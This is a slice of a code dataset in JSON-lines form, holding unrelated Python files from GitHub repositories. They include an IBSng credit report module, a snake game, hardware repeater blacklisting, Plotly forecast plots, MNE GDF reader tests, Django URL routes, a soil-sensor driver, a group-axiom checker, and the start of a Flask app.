user_ids:\n if last_id!=row[\"credit_change_id\"]:\n if last_id!=None:\n dic[last_id]=per_change_list\n last_id=row[\"credit_change_id\"]\n per_change_list=[]\n per_change_list.append(row[\"user_id\"])\n\n if last_id!=None:\n dic[last_id]=per_change_list\n\n return dic\n \n def __getUserIDs(self,db_handle,credit_changes):\n credit_change_id_conds=map(lambda x:\"credit_change_id=%s\"%x[\"credit_change_id\"],credit_changes)\n return db_handle.get(\"credit_change_userid\",\n \" or \".join(map(lambda x:\"%s::bigint\"%x,credit_change_id_conds)),\n 0,-1,\"credit_change_id,user_id asc\")\n\n def __getCreditChanges(self,db_handle,_from,to,order_by,desc):\n return db_handle.get(\"credit_change_report,credit_change\",\n \"credit_change.credit_change_id=credit_change_report.credit_change_id\",\n _from,\n to,\n (order_by,desc))\n \n def __createTempTable(self,db_handle):\n select_query=self.__createCreditChangeIDsQuery()\n self.createTempTableAsQuery(db_handle,\"credit_change_report\",select_query)\n\n def __getTotalResultsCount(self,db_handle):\n return db_handle.getCount(\"credit_change_report\",\"true\")\n\n def __getTotalPerUserCredit(self,db_handle):\n if self.hasCondFor(\"show_total_per_user_credit\"):\n return db_handle.selectQuery(\"select sum(per_user_credit) as sum from credit_change,credit_change_report where \\\n credit_change.credit_change_id=credit_change_report.credit_change_id\")[0][\"sum\"]\n return -1\n\n def __getTotalAdminCredit(self,db_handle):\n if self.hasCondFor(\"show_total_admin_credit\"):\n return db_handle.selectQuery(\"select sum(admin_credit) as sum from credit_change,credit_change_report where \\\n credit_change.credit_change_id=credit_change_report.credit_change_id\")[0][\"sum\"]\n return -1\n \n def __createCreditChangeIDsQuery(self):\n queries=self.getTableQueries()\n queries=apply(self.filterNoneQueries,queries.values())\n if len(queries)==0:\n query=\"select credit_change_id from credit_change\"\n else:\n query=self.intersectQueries(queries)\n return query\n\nclass CreditSearcher:\n def __init__(self,conds,requester_obj,requester_role):\n self.search_helper=CreditSearchHelper(conds,requester_obj,requester_role)\n \n ##############################################\n def applyConditions(self):\n \"\"\"\n Apply conditions on tables, should check conditions here\n \"\"\"\n credit_table=self.search_helper.getTable(\"credit_change\")\n userid_table=self.search_helper.getTable(\"credit_change_userid\")\n\n self.__addUserIDAndAdminCondition()\n\n credit_table.exactSearch(self.search_helper,\"action\",\"action\",lambda action:user_main.getCreditChangeLogActions().getActionID(action))\n\n credit_table.ltgtSearch(self.search_helper,\"per_user_credit\",\"per_user_credit_op\",\"per_user_credit\")\n\n credit_table.ltgtSearch(self.search_helper,\"admin_credit\",\"admin_credit_op\",\"admin_credit\")\n\n self.search_helper.setCondValue(\"change_time_from_op\",\">=\") \n credit_table.dateSearch(self.search_helper,\"change_time_from\",\"change_time_from_unit\",\"change_time_from_op\",\"change_time\")\n\n self.search_helper.setCondValue(\"change_time_to_op\",\"<\")\n credit_table.dateSearch(self.search_helper,\"change_time_to\",\"change_time_to_unit\",\"change_time_to_op\",\"change_time\")\n\n credit_table.exactSearch(self.search_helper,\"remote_addr\",\"remote_addr\",MultiStr)\n\n def __addUserIDAndAdminCondition(self):\n if self.search_helper.isRequesterAdmin():\n admin_restricted=not self.search_helper.getRequesterObj().isGod() and self.search_helper.getRequesterObj().getPerms()[\"SEE CREDIT CHANGES\"].isRestricted()\n if admin_restricted:\n admin_id = self.search_helper.getRequesterObj().getAdminID()\n# self.search_helper.getTable(\"credit_change\").getRootGroup().addGroup(\"admin_id=%s\"%admin_id)\n sub_query=self.__userOwnersConditionQuery(admin_id)\n self.search_helper.getTable(\"credit_change_userid\").getRootGroup().addGroup(sub_query) \n else:\n self.search_helper.getTable(\"credit_change\").exactSearch(self.search_helper,\"admin\",\"admin_id\",lambda admin_username:admin_main.getLoader().getAdminByName(admin_username).getAdminID())\n \n self.search_helper.getTable(\"credit_change_userid\").exactSearch(self.search_helper,\"user_ids\",\"user_id\",MultiStr)\n\n def __userOwnersConditionQuery(self,admin_id):\n return \"credit_change_userid.user_id in (select user_id from users where owner_id=%s)\"%admin_id\n \n #################################################\n def getCreditChanges(self,_from,to,order_by,desc,date_type):\n \"\"\"\n return a list of credit changes\n \"\"\"\n self.__getCreditChangesCheckInput(_from,to,order_by,desc)\n self.applyConditions()\n (total_rows,total_per_user_credit,total_admin_credit,report)=self.search_helper.getCreditChanges(_from,to,order_by,desc,date_type)\n return {\"total_rows\":total_rows,\n \"total_per_user_credit\":total_per_user_credit,\n \"total_admin_credit\":total_admin_credit,\n \"report\":report\n }\n\n def __getCreditChangesCheckInput(self,_from,to,order_by,desc):\n report_lib.checkFromTo(_from,to)\n self.__checkOrderBy(order_by)\n \n def __checkOrderBy(self,order_by):\n if order_by not in [\"change_time\",\"per_user_credit\",\"admin_credit\"]:\n raise GeneralException(errorText(\"GENERAL\",\"INVALID_ORDER_BY\")%order_by)\n","repo_name":"pouyadarabi/IBSng","sub_path":"core/report/credit.py","file_name":"credit.py","file_ext":"py","file_size_in_byte":9559,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"18"} +{"seq_id":"72412492840","text":"\"\"\"\nCreated on 2009-4-12\n\n@author: hippo\n\"\"\"\nfrom node import *\nfrom properties import *\n\n\nclass Snake:\n \"\"\"\n snake's class\n\n x,y direct the position of the snake's head\n \"\"\"\n\n def __init__(self, x, y, length=3, speed=1):\n \"\"\"\n Constructor\n \"\"\"\n if length <= 0:\n self._length = 3\n self._length = length\n self._speed = speed\n self.body = []\n # create the snake's body\n for i in range(self._length):\n self.body.append(Node(x, y + i, UP))\n\n def move(self):\n _t = self.body.pop()\n if self.body[0]._direct == UP:\n _t._x = self.body[0]._x\n _t._y = (self.body[0]._y - 1 + GRID_LEN) % GRID_LEN\n elif self.body[0]._direct == DOWN:\n _t._x = self.body[0]._x\n _t._y = (self.body[0]._y + 1 + GRID_LEN) % GRID_LEN\n elif self.body[0]._direct == LEFT:\n _t._x = (self.body[0]._x - 1 + GRID_LEN) % GRID_LEN\n _t._y = self.body[0]._y\n elif self.body[0]._direct == RIGHT:\n _t._x = (self.body[0]._x + 1 + GRID_LEN) % GRID_LEN\n _t._y = self.body[0]._y\n else:\n pass\n _t._direct = self.body[0]._direct\n self.body.insert(0, _t)\n self.display()\n\n def turn(self, direct):\n # print('snake turn to ' + direct)\n self.body[0]._changedirect(direct)\n\n def grow(self):\n ref = self.body[- 1]\n _t = Node(0, 0, NONE)\n if ref._direct == UP:\n _t._x = ref._x\n _t._y = ref._y + 1\n _t._direct = DOWN\n elif ref._direct == DOWN:\n _t._x = ref._x\n _t._y = ref._y - 1\n _t._direct = UP\n elif ref._direct == LEFT:\n _t._x = ref._x + 1\n _t._y = ref._y\n _t._direct = RIGHT\n elif ref._direct == RIGHT:\n _t._x = ref._x - 1\n _t._y = ref._y\n _t._direct = LEFT\n else:\n pass\n self.body.append(_t)\n\n def display(self):\n print('-' * 20)\n for i in self.body:\n print(i)\n","repo_name":"hippora/snake","sub_path":"snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":2119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31413710149","text":"#!/usr/bin/env python\n\nimport argparse\nfrom pyhalco_hicann_v2 import Wafer, HICANNGlobal, HICANNOnWafer, RepeaterBlockOnHICANN\nfrom pyhalco_hicann_v2 import HRepeaterOnHICANN, VRepeaterOnHICANN\nfrom pyhalco_hicann_v2 import short_format\nfrom pyhalco_common import iter_all\n\nfrom pyredman.load import load\n\n\ndef blacklist_repeaters_on_block(redman, repeater_block):\n for hr in iter_all(HRepeaterOnHICANN):\n if hr.toRepeaterBlockOnHICANN() == repeater_block and redman.hrepeaters().has(hr):\n redman.hrepeaters().disable(hr)\n for vr in iter_all(VRepeaterOnHICANN):\n if vr.toRepeaterBlockOnHICANN() == repeater_block and redman.vrepeaters().has(vr):\n redman.vrepeaters().disable(vr)\n\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser(\n description='Blacklist all repeaters on repeater blocks with more than one defect repeater.')\n parser.add_argument('--wafer', type=int, required=True,\n help=\"Wafer for which to create blacklisting for\")\n parser.add_argument('--input_dir', type=str, required=True, help=\"Where to read redman files from\")\n parser.add_argument('--output_dir', type=str, required=True, help=\"Where to store redman files. \"\n \"If file already exists, it gets adapted\")\n args = parser.parse_args()\n\n wafer_c = Wafer(args.wafer)\n\n redman_wafer_input = load.WaferWithBackend(args.input_dir, wafer_c)\n\n for hicann in iter_all(HICANNOnWafer):\n hicann_global = HICANNGlobal(hicann, wafer_c)\n redman_hicann_input = load.HicannWithBackend(\n args.input_dir, hicann_global)\n hrepeaters = redman_hicann_input.hrepeaters()\n vrepeaters = redman_hicann_input.vrepeaters()\n # skip hicanns with no blacklisted repeaters to reduce runtime\n no_hrepeater_defects = hrepeaters.available() == HRepeaterOnHICANN.size\n no_vrepeater_defects = vrepeaters.available() == VRepeaterOnHICANN.size\n if (no_hrepeater_defects and no_vrepeater_defects):\n continue\n # count defects on each repeater block\n defects_on_repeater_block = {\n rb: 0 for rb in iter_all(RepeaterBlockOnHICANN)}\n for hr in iter_all(HRepeaterOnHICANN):\n if not hrepeaters.has(hr):\n defects_on_repeater_block[hr.toRepeaterBlockOnHICANN()] += 1\n for vr in iter_all(VRepeaterOnHICANN):\n if not vrepeaters.has(vr):\n defects_on_repeater_block[vr.toRepeaterBlockOnHICANN()] += 1\n # blacklist all repeaters of repeater blocks with more than one defect\n # repeater\n redman_hicann_output = load.HicannWithBackend(\n args.output_dir, hicann_global)\n blacklisted = False\n for rb in iter_all(RepeaterBlockOnHICANN):\n if defects_on_repeater_block[rb] > 1:\n print((\"disable all repeaters on {} on {}\".format(\n short_format(rb), short_format(hicann_global))))\n blacklist_repeaters_on_block(redman_hicann_output, rb)\n blacklisted = True\n if blacklisted:\n redman_hicann_output.save()\n","repo_name":"electronicvisions/cake","sub_path":"tools/cake_extend_hicann_repeater_blacklist_by_blacklisting.py","file_name":"cake_extend_hicann_repeater_blacklist_by_blacklisting.py","file_ext":"py","file_size_in_byte":3155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32241998814","text":"from time import perf_counter\nfrom copy import deepcopy\n\nfrom multiprocessing import Pool\nfrom functools import partial\n\nfrom sources.SensorNetworkDesignABC import SensorNetworkDesignABC\nfrom sources.mongo_connection.mongo_connector import MongoDBConnection\nfrom sources.mongo_connection.mongo_queries import save_iteration\nfrom sources.mongo_connection.mongo_queries import count_iterations\n\n\ndef _reinitialize_db_connection():\n MongoDBConnection.reinitialize()\n\n\ndef _pool_worker(n_iter, datset_id: str, settings_id: str, hive):\n print(\"Doing iteration {0}...\".format(n_iter))\n\n # Creates a local hive\n local_hive = deepcopy(hive)\n local_hive.regenerate_seed()\n\n # run the hive as normal\n init_date = perf_counter()\n historic, best, n_calls = local_hive.run()\n end_date = perf_counter()\n\n # store the results in the DB\n duration = str(end_date - init_date)\n cost = best.eval_value\n solution = best.vector\n violations = best.violations\n precision = local_hive.precisions_obtained(best.vector).tolist()\n\n save_iteration(datset_id, settings_id, cost, solution, precision, n_calls, duration, violations, historic)\n\n print(\"done!\")\n\n\nclass ParallelExperiment:\n\n def __init__(self, datset_id: str, settings_id: str, num_iter: int, hive: SensorNetworkDesignABC):\n self.datset_id = datset_id\n self.settings_id = settings_id\n self.num_iter = num_iter\n self.hive = hive\n self.number_processes = num_iter\n\n def add_iterations_if_needed(self, processes=None):\n n_iters = count_iterations(self.datset_id, self.settings_id)\n print(\"{0} iterations available on DB\".format(n_iters))\n\n if n_iters < self.num_iter:\n iterations_params = [x for x in range(self.num_iter - n_iters)]\n\n part_worker = partial(_pool_worker,\n datset_id=self.datset_id,\n settings_id=self.settings_id,\n hive=self.hive)\n\n with Pool(processes=processes, initializer=_reinitialize_db_connection) as pool:\n pool.map(part_worker, iterations_params)\n","repo_name":"panizolledotangel/IDEAL2018-An-Artificial-Bee-Colony-Algorithm-for-Optimizing-the-Design-of-Sensor-Networks","sub_path":"jupyter_home/sources/parallel_executions.py","file_name":"parallel_executions.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"30987942329","text":"import plotly.graph_objs as go\nimport numpy as np\nimport pandas as pd\n\ndef plot_simple_timeseries(df, feature_name = None):\n y = df.iloc[:,0]\n \n if feature_name:\n y = df[feature_name]\n \n else:\n feature_name = df.columns[0]\n \n fig = go.Figure([\n go.Scatter(\n name='ObservedData',\n x=df.index,\n y=y,\n mode='lines',\n line=dict(color='rgb(31, 119, 180)'),\n )])\n \n fig.update_layout(\n yaxis_title=feature_name,\n xaxis_title = \"Datetime\",\n title=f\"Time series raw data\",\n hovermode=\"x\"\n )\n \n return fig\n\ndef plot_time_series_with_bounds(df,data_col = None, upper_col = None, lower_col = None):\n \n if not data_col:\n data_col = df.columns[0]\n if not upper_col:\n upper_col = df.columns[1]\n if not lower_col:\n lower_col = df.columns[2]\n \n fig = go.Figure([\n go.Scatter(\n name='data',\n x=df.index,\n y=df[data_col],\n mode='lines',\n line=dict(color='rgb(31, 119, 180)'),\n ),\n go.Scatter(\n name='Upper Bound',\n x=df.index,\n y=df[upper_col],\n mode='lines',\n marker=dict(color=\"#444\"),\n line=dict(width=0),\n showlegend=False\n ),\n go.Scatter(\n name='Lower Bound',\n x=df.index,\n y=df[lower_col],\n marker=dict(color=\"#444\"),\n line=dict(width=0),\n mode='lines',\n fillcolor='rgba(68, 68, 68, 0.3)',\n fill='tonexty',\n showlegend=False\n )\n ])\n\n fig.update_layout(\n yaxis_title='Wind speed (m/s)',\n title='Continuous, variable value error bars',\n hovermode=\"x\"\n )\n \n return fig\n\ndef plot_testset_forecast(test):\n \n fig = go.Figure(\n [\n # show predictions\n go.Scatter(\n x = test.index,\n y = test.Observation,\n mode = 'lines',\n name = \"Observation\"), \n \n # show actual data values\n go.Scatter(\n x = test.index,\n y = test.Prediction,\n mode = 'lines',\n name = \"Prediction\"), \n ]\n )\n\n y_upper = test.UpperBound\n y_lower = test.LowerBound\n\n fig.add_trace(go.Scatter(\n x=np.concatenate([test.index, test.index[::-1]]),\n y=pd.concat([y_upper, y_lower[::-1]]),\n fill='toself',\n hoveron='points',\n name=\"Confidence Interval(95%)\",\n fillcolor='rgba(68, 68, 68, 0.15)',\n )\n )\n\n fig.update_layout(\n {\n 'title': {\"text\":\"Testset Forecast\"},\n 'plot_bgcolor':\"white\"\n })\n\n fig.update_xaxes(showgrid=True, gridwidth=1, gridcolor='rgba(127,127,128,0.2)')\n fig.update_yaxes(showgrid=True, gridwidth=1, gridcolor='rgba(127,127,128,0.2)')\n return fig\n\n\n\ndef plot_train_test(train, test, seasonal):\n fig = go.Figure([\n go.Scatter(\n x = train.index,\n y = train.Observation,\n name = \"Training Observation\"\n ),\n go.Scatter(\n x = train.iloc[seasonal + 1:,: ].index,\n y = train.iloc[seasonal + 1:,: ].Prediction,\n name = \"Train Prediction\",\n line = dict(dash = \"dash\")\n ),\n go.Scatter(\n x = test.index,\n y = test.Prediction,\n mode = 'lines',\n line = dict(dash = \"dash\"),\n name = \"Test Prediction\"), \n \n go.Scatter(\n x = test.index,\n y = test.Observation,\n mode = 'lines',\n name = \"Test Observation\")\n \n ]\n \n )\n \n y_upper = test.UpperBound\n y_lower = test.LowerBound\n\n fig.add_trace(go.Scatter(\n x=np.concatenate([test.index, test.index[::-1]]),\n y=pd.concat([y_upper, y_lower[::-1]]),\n fill='toself',\n hoveron='points',\n name=\"Confidence Interval(95%)\",\n fillcolor='rgba(68, 68, 68, 0.25)',\n line_color = \"rgba(0,0,0,0)\"\n )\n )\n\n fig.update_layout(\n {\n 'title': {\"text\":\"Prediction Overview\"},\n 'plot_bgcolor':\"white\"\n })\n\n fig.update_xaxes(showgrid=True, gridwidth=1, gridcolor='rgba(127,127,128,0.2)')\n fig.update_yaxes(showgrid=True, gridwidth=1, gridcolor='rgba(127,127,128,0.2)')\n return fig","repo_name":"Kira1108/Online-example","sub_path":"plot_timeseries.py","file_name":"plot_timeseries.py","file_ext":"py","file_size_in_byte":4517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"27337079621","text":"# Authors: Alexandre Barachant \n# Nicolas Barascud \n#\n# License: BSD (3-clause)\n\nimport os.path as op\n\nimport pytest\nfrom numpy.testing import (assert_array_almost_equal, assert_array_equal,\n assert_equal)\nimport numpy as np\nimport scipy.io as sio\n\nfrom mne.datasets import testing\nfrom mne.io import read_raw_gdf\nfrom mne.io.tests.test_raw import _test_raw_reader\nfrom mne.utils import run_tests_if_main\nfrom mne import pick_types, find_events, events_from_annotations\n\ndata_path = testing.data_path(download=False)\ngdf1_path = op.join(data_path, 'GDF', 'test_gdf_1.25')\ngdf2_path = op.join(data_path, 'GDF', 'test_gdf_2.20')\ngdf_1ch_path = op.join(data_path, 'GDF', 'test_1ch.gdf')\n\n\n@testing.requires_testing_data\ndef test_gdf_data():\n \"\"\"Test reading raw GDF 1.x files.\"\"\"\n raw = read_raw_gdf(gdf1_path + '.gdf', eog=None, misc=None, preload=True)\n picks = pick_types(raw.info, meg=False, eeg=True, exclude='bads')\n data, _ = raw[picks]\n\n # Test Status is added as event\n EXPECTED_EVS_ONSETS = raw._raw_extras[0]['events'][1]\n EXPECTED_EVS_ID = {\n '{}'.format(evs): i for i, evs in enumerate(\n [32769, 32770, 33024, 33025, 33026, 33027, 33028, 33029, 33040,\n 33041, 33042, 33043, 33044, 33045, 33285, 33286], 1)\n }\n evs, evs_id = events_from_annotations(raw)\n assert_array_equal(evs[:, 0], EXPECTED_EVS_ONSETS)\n assert evs_id == EXPECTED_EVS_ID\n\n # this .npy was generated using the official biosig python package\n raw_biosig = np.load(gdf1_path + '_biosig.npy')\n raw_biosig = raw_biosig * 1e-6 # data are stored in microvolts\n data_biosig = raw_biosig[picks]\n\n # Assert data are almost equal\n assert_array_almost_equal(data, data_biosig, 8)\n\n # Test for events\n assert len(raw.annotations.duration == 963)\n\n # gh-5604\n assert raw.info['meas_date'] is None\n\n\n@testing.requires_testing_data\ndef test_gdf2_data():\n \"\"\"Test reading raw GDF 2.x files.\"\"\"\n raw = read_raw_gdf(gdf2_path + '.gdf', eog=None, misc=None, preload=True)\n\n picks = pick_types(raw.info, meg=False, eeg=True, exclude='bads')\n data, _ = raw[picks]\n\n # This .mat was generated using the official biosig matlab package\n mat = sio.loadmat(gdf2_path + '_biosig.mat')\n data_biosig = mat['dat'] * 1e-6 # data are stored in microvolts\n data_biosig = data_biosig[picks]\n\n # Assert data are almost equal\n assert_array_almost_equal(data, data_biosig, 8)\n\n # Find events\n events = find_events(raw, verbose=1)\n events[:, 2] >>= 8 # last 8 bits are system events in biosemi files\n assert_equal(events.shape[0], 2) # 2 events in file\n assert_array_equal(events[:, 2], [20, 28])\n\n # gh-5604\n assert raw.info['meas_date'] is None\n _test_raw_reader(read_raw_gdf, input_fname=gdf2_path + '.gdf',\n eog=None, misc=None)\n\n\n@testing.requires_testing_data\ndef test_one_channel_gdf():\n \"\"\"Test a one-channel GDF file.\"\"\"\n with pytest.warns(RuntimeWarning, match='different highpass'):\n ecg = read_raw_gdf(gdf_1ch_path, preload=True)\n assert ecg['ECG'][0].shape == (1, 4500)\n assert 150.0 == ecg.info['sfreq']\n\n\nrun_tests_if_main()\n","repo_name":"soheilbr82/BluegrassWorkingMemory","sub_path":"Python_Engine/Lib/site-packages/mne/io/edf/tests/test_gdf.py","file_name":"test_gdf.py","file_ext":"py","file_size_in_byte":3260,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"} +{"seq_id":"9378801017","text":"from . import accounts,users,views,volunteer,api,admin_page\nfrom django.urls import path,include\nfrom django.conf.urls import url\nfrom django.conf import settings\nfrom django.contrib.auth.views import LogoutView\n\n\nurlpatterns = [\n # index\n path('index/',views.index, name='index'),\n\n # Account user_logout\n path('login/',views.user_login, name='login'),\n path(\"logout/\", LogoutView.as_view(), name=\"logout\"),\n path('userSignup/',accounts.userSignup, name='userSignup'),\n path('userLogin/',accounts.userLogin, name='userLogin'),\n path('checkEmail/',accounts.checkEmail, name='checkEmail'),\n\n # Auth\n path(\"accounts/\", include(\"allauth.urls\")), #most important\n\n\n #dashboard\n path('dashboard',views.dashboard, name='dashboard'),\n\n # admin\n \n path('adminprofile',admin_page.adminprofile, name='adminprofile'),\n path('All_Users',admin_page.All_Users, name='All_Users'),\n path('ALL_Volunteers',admin_page.ALL_Volunteers, name='ALL_Volunteers'),\n path('Complaints',admin_page.Complaints, name='Complaints'),\n path('Feedback',admin_page.Feedback, name='Feedback'),\n path('Service_Requests',admin_page.Service_Requests, name='Service_Requests'),\n path('add_service_sub_category',admin_page.add_service_sub_category, name='add_service_sub_category'),\n path('add_service_category',admin_page.add_service_category, name='add_service_category'),\n \n\n\n #volunteer\n path('volunteerprofile',volunteer.volunteerprofile, name='volunteerprofile'),\n path('user_requests',volunteer.user_requests, name='user_requests'),\n path('volunteer_view_page',volunteer.volunteer_view_page, name='volunteer_view_page'),\n path('load_volunteer_data//',volunteer.load_volunteer_data, name='load_volunteer_data'),\n path('view_user_request_volunteer//',volunteer.view_user_request_volunteer, name='view_user_request_volunteer'),\n path('volunteer_view_request_submit/',volunteer.volunteer_view_request_submit, name='volunteer_view_request_submit'),\n\n\n\n\n\n # user\n path('userprofile',users.userprofile, name='userprofile'),\n path('submit_new_request',users.submit_new_request, name='submit_new_request'),\n path('user_request_submit',users.user_request_submit, name='user_request_submit'),\n path('load_request_data//',users.load_request_data, name='load_request_data'),\n path('view_user_request//',users.view_user_request, name='view_user_request'),\n path('user_view_request_submit/',users.user_view_request_submit, name='user_view_request_submit'),\n\n\n\n #api\n path('category_data_api',api.category_data_api, name='category_data_api'),\n path('volunteer/category//',api.volunteer_category, name='volunteer_category'),\n\n\n\n]","repo_name":"sarvesh0809/karseva","sub_path":"urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"36656194493","text":"# TinyCircuits ATtiny25 Python Package designed for use with the TinyCircuits Soil Moisture Wireling\n# Written by: Laverena Wienclaw for TinyCircuits\n# Initialized: Feb 2020\n# Last updated: Feb 2020\n\nimport pigpio \nimport math\n\n_MIN_CAP_READ = 710 \n_MAX_CAP_READ = 975\n\n_ANALOG_READ_MAX = 1023\n_THERMISTOR_NOMINAL = 10000\n_TEMPERATURE_NOMINAL = 25\n_B_COEFFICIENT = 3380 \n_SERIES_RESISTOR = 35000\n\n_ATTINY25_ADDRESS = 0x30\n\nclass ATtiny25:\n def __init__(self):\n self.moisture = 0\n self.temp = 0\n\n def readMoisture(self):\n pi = pigpio.pi()\n h = pi.i2c_open(1, _ATTINY25_ADDRESS)\n pi.i2c_write_byte(h, 1)\n (b, d) = pi.i2c_read_device(h, 2)\n pi.i2c_close(h)\n pi.stop()\n if b>= 0:\n self.moisture = d[1] | (d[0] << 8)\n self.moisture = self.constrain(self.moisture, _MIN_CAP_READ, _MAX_CAP_READ)\n self.moisture = self.map(self.moisture, _MIN_CAP_READ, _MAX_CAP_READ, 0, 100)\n\n def readTemp(self):\n pi = pigpio.pi()\n h = pi.i2c_open(1, _ATTINY25_ADDRESS)\n pi.i2c_write_byte(h, 2)\n (b, d) = pi.i2c_read_device(h, 2)\n pi.i2c_close(h)\n pi.stop()\n if b>= 0:\n c = d[1] | (d[0] << 8)\n\n # Thermistor Calculation\n adcVal = _ANALOG_READ_MAX - c\n resistance = (_SERIES_RESISTOR * _ANALOG_READ_MAX) / adcVal - _SERIES_RESISTOR\n steinhart = resistance / _THERMISTOR_NOMINAL # (R/Ro)\n steinhart = math.log(steinhart) # ln(R/Ro)\n steinhart = steinhart / _B_COEFFICIENT # 1/B * ln(R/Ro)\n steinhart = steinhart + (1.0 / (_TEMPERATURE_NOMINAL + 273.15)) # + (1/To)\n steinhart = 1.0 / steinhart # Invert\n steinhart = steinhart - 273.15 # convert to C\n self.temp = steinhart \n\n def constrain(self, val, min_val, max_val):\n return min(max_val, max(min_val, val))\n\n def map(self, x, in_min, in_max, out_min, out_max):\n return ((x - in_min) * (out_max - out_min) / (in_max - in_min) + out_min)\n","repo_name":"TinyCircuits/TinyCircuits-ATtiny25-Python","sub_path":"tinycircuits_attiny25/tinycircuits_attiny25.py","file_name":"tinycircuits_attiny25.py","file_ext":"py","file_size_in_byte":2189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"27945996180","text":"# Developed by David Santiago Cruz Hernandez\n\nMatrix = []\nBorder = []\nLatinSquare = False\nGroup = False\nNeutral = False\nNeutralResult = 0\nInverse = False\nAssociativity = False\n\n\ndef start():\n print(\"Algotirmo desarrollado por David Santiago Cruz Hernandez, para Matematicas Discretas II\")\n inputMatrix()\n verifyLatinSquare()\n getNeutral(getSet())\n getInverse(getSet())\n checkAssociativity(getSet())\n printResults()\n\n\ndef getSet():\n set = Matrix[0].copy()\n return set\n\n\ndef verifyLatinSquare():\n n = len(Matrix)\n numRepetido = False\n for fila in range(n):\n listaRevisionFila = []\n listaRevisionCol = []\n for col in range(n):\n if Matrix[fila][col] not in listaRevisionFila:\n listaRevisionFila.append(Matrix[fila][col])\n else:\n numRepetido = True\n break\n\n if Matrix[col][fila] not in listaRevisionCol:\n listaRevisionCol.append(Matrix[col][fila])\n else:\n numRepetido = True\n break\n if numRepetido:\n break\n\n if not numRepetido:\n print(\"→ SI es un Cuadrado Latino\\n\")\n global LatinSquare\n LatinSquare = True\n\n\ndef getResult(a, b):\n fila = Border.index(a)\n col = Border.index(b)\n return Matrix[fila][col]\n\n\ndef getNeutral(setG):\n global NeutralResult\n for posibleNeutro in setG:\n contador = 0\n for dato in setG:\n resultado = getResult(posibleNeutro, dato)\n if dato == resultado:\n contador = contador + 1\n if contador == len(setG):\n NeutralResult = posibleNeutro\n break\n else:\n break\n\n if NeutralResult != \"\":\n print(\"→ El Neutro es: \" + NeutralResult + \"\\n\")\n global Neutral\n\n Neutral = True\n\n\ndef getInverse(setG):\n listaInversos = []\n for dato in setG:\n for posibleInverso in setG:\n resultado = getResult(posibleInverso, dato)\n if resultado == NeutralResult:\n if posibleInverso not in listaInversos:\n listaInversos.append(posibleInverso)\n continue\n else:\n break\n if len(listaInversos) == len(setG):\n for pos in range(len(setG)):\n print(\"→ El inverso de \" + setG[pos] + \" es: \" + listaInversos[pos])\n print()\n global Inverse\n Inverse = True\n else:\n print(\"→ No hay un Inverso para cada elemento del conjunto.\\n\")\n\n\ndef checkAssociativity(setG):\n listResults = []\n print(\"→ Asociaciones posibles:\\n\")\n for pos in range(len(setG) - 1):\n listResults.append(operateByPos(setG.copy(), pos))\n print()\n\n print(\"→ Resultados de la Asociatividad obtenidos: \" + str(listResults))\n asssociativity = True\n for dato in listResults:\n if listResults[0] != dato:\n asssociativity = False\n break\n if asssociativity:\n print(\" El conjunto SI es asociativo\\n\")\n global Associativity\n Associativity = True\n else:\n print(\" El conjunto NO es asociativo\\n\")\n\n\ndef operateByPos(setG, pos):\n right = True\n for cont in range(len(setG) - 1):\n if not right:\n pos = pos - 1\n printAsssociativity(setG.copy(), pos)\n a = setG.pop(pos)\n b = setG.pop(pos)\n result = getResult(a, b)\n setG.insert(pos, result)\n\n if right:\n try:\n setG[pos + 1]\n except IndexError:\n right = False\n print(setG[0])\n return setG[0]\n\n\ndef printAsssociativity(setG, pos):\n operation = \"\"\n for times in range(pos):\n operation = operation + setG[times] + \"•\"\n operation = operation + \"(\" + setG[pos] + \"•\" + setG[pos + 1] + \")\"\n for times in range(pos + 2, len(setG)):\n operation = operation + \"•\" + setG[times]\n print(operation)\n\n\ndef inputMatrix():\n while True:\n n = int(input(\"Ingrese el Tamaño n:\"))\n global Border\n Border = input(\"Ingrese los elementos del Marco de la Tabla (separados por comas): \").split(',')\n for size in range(n):\n Matrix.append(input(\"Ingrese la Fila \" + str(size) + \" (separada por comas):\").split(','))\n if verifyInput():\n break\n else:\n print(\"\\n ---- Por favor ingrese una tabla valida!! ---- \\n\")\n\n\ndef verifyInput():\n for subList in Matrix:\n for element in subList:\n if element not in Border:\n return False\n return True\n\n\ndef printResults():\n print(\" --------------- Resultados Obtenidos --------------- \\n\")\n\n print(\"→ Cuadrado Latino: \" + returnIcon(LatinSquare))\n print()\n\n print(\"→ Existe un Elemento Neutro: \" + returnIcon(Neutral))\n\n print(\"→ Existe un Inverso para cada elemento del Conjunto: \" + returnIcon(Inverse))\n\n print(\"→ Es Asociativo: \" + returnIcon(Associativity))\n\n Answer = lambda: f\"SI\" if (Neutral and Inverse and Associativity) else f\"NO\"\n print(\" ---- Por lo tanto, \" + Answer() + \" es un Grupo.\" + \"\\n\")\n\n\ndef returnIcon(answer):\n if answer:\n return \"✅\"\n else:\n return \"❌\"\n\n\nif __name__ == '__main__':\n start()\n","repo_name":"SaninfomaxUN/MateDiscr_II","sub_path":"J1_Grupos/GruposI.py","file_name":"GruposI.py","file_ext":"py","file_size_in_byte":5317,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41332684170","text":"from flask import Flask, render_template, redirect, session, request, flash\nfrom mysqconnection import MySQLConnector\n\napp = Flask(__name__)\n\napp.secret_key = \"anyKey\"\ndb = MySQLConnector(app, 'Email_DB')\n\n# the \"re\" module will let us perform some regular expression operations\nimport re\n# create a regular expression object that we can use run operations on\nEMAIL_REGEX = re.compile(r'^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9._-]+\\.[a-zA-Z]+$')\n\n# ============================index 